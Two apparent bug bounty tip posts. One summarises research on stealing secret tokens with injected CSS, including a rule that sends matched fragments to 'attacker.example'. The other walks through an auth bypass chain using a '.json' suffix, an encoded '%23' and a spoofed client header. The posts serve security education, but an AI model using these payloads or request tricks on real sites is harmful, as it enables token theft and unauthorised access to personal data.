Alex Craig (@Alex_______C) at @PortSwigger demonstrated how to steal secret tokens up to 640 characters long using only CSS. No JavaScript required. The technique comes down to 3 things: - CSS injection: Attribute selectors can check whether specific character sequences exist in an HTML element. - Exfiltration: Matching CSS rules trigger requests to an attacker-controlled server. - Graph reconstruction: Overlapping fragments can be stitched together to reconstruct secret tokens. Here's how it works: 1. Leak token fragments Imagine a page contains: `` An attacker who can inject CSS adds rules like: ```css a[href*="c2e"] { background: url("https://attacker.example/?chunk=c2e"); } ``` If the `href` contains `c2e`, the browser requests the attacker's URL, revealing that the fragment exists. Thousands of similar rules test different character combinations. 2. Reconstruct the secret The attacker collects matching fragments: `c2e → 2e1 → e16 → 16a` Each fragment overlaps the next by two characters. Using graph theory, the attacker can stitch these pieces together to reconstruct the token: `c2e16a...` Longer fragment checks help eliminate false matches. 3. Scale the attack This is where the research gets interesting. The original technique required roughly 258 MB of CSS to recover a 12-character token. Alex Craig reduced that to: - 223 KB: Narrow a 12-character token to five or fewer candidates in 96% of tests. - 1.33 MB: Uniquely reconstruct a 12-character token in 99% of tests. - 257 MB: Uniquely reconstruct 210-character tokens in 99% of tests, or narrow 640-character tokens to five or fewer candidates in over 90%. All without executing JavaScript. #BugBounty tip: Don't dismiss CSS injection as a harmless styling issue. If injected CSS can inspect sensitive HTML attributes and trigger external requests, it can become a powerful data exfiltration channel. Sometimes you don't need to read a secret directly. You just need enough overlapping pieces to reconstruct it. Full research by Alex Craig (@Alex_______C), building on Gareth Hayes' (@garethheyes) earlier work 👇 portswigger.net/research/sma…

I found a critical auth bypass that resulted in a $10K bounty due to mass PII exfiltration. Here’s the technique: The endpoint had 3 checks: 1. JWT auth at the gateway 2. Backend path validation 3. A trusted-client header check The bypass came from defeating each one differently. 1. JWT check Normal request: `GET /api/employee/12345` → `401` But paths ending in `.json` were treated as static resources and skipped JWT auth: `GET /api/employee/12345.json` → Auth check bypassed 2. Path validation Problem: The backend still needed a clean employee ID. Payload: `GET /api/employee/12345%23.json` The gateway saw a `.json` path. After decoding: `12345#.json` The downstream parser truncated at `#`, leaving: `12345` Same request, but different interpretation at each layer. 3. Trusted-client check The endpoint also expected a client header: `X-CLIENT-ID: WEBAPP` Without it: → `400` With it: → Request accepted So the final chain was: `.json` → bypass gateway auth `%23` → preserve a valid backend ID Client header → satisfy the final gate #BugBounty tip: When multiple layers handle the same request, map every security check and test whether the gateway, proxy, and backend interpret the URL differently.